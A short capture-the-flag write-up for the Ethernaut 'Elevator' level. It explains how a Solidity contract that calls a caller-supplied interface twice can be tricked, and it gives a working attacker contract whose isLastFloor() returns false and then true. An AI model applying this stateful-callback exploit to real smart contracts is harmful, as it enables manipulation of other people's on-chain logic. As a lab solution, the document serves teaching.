Writeups/Ethernaut/Elevator
EasyEthernaut · Ethernaut2024

Elevator

Stateful Interface Implementation Bypasses Floor Check

`goTo()` calls `isLastFloor()` twice on a caller-supplied `Building` interface. By implementing `isLastFloor()` to return `false` on the first call and `true` on the second, the elevator reaches the top floor.

SolidityInterfaceState MachineLogic Exploit

00Overview

`goTo()` calls `isLastFloor()` twice on a caller-supplied `Building` interface. By implementing `isLastFloor()` to return `false` on the first call and `true` on the second, the elevator reaches the top floor.

01Implement the Building interface with state

javascript
contract ElevatorAttack is Building {
    bool public toggle = true;

    function isLastFloor(uint) external override returns (bool) {
        toggle = !toggle;
        return toggle; // false first, true second
    }

    function attack(address target) external {
        Elevator(target).goTo(1);
    }
}

02Level Completed

Elevator — completion screenshot 1
Elevator — completion screenshot 2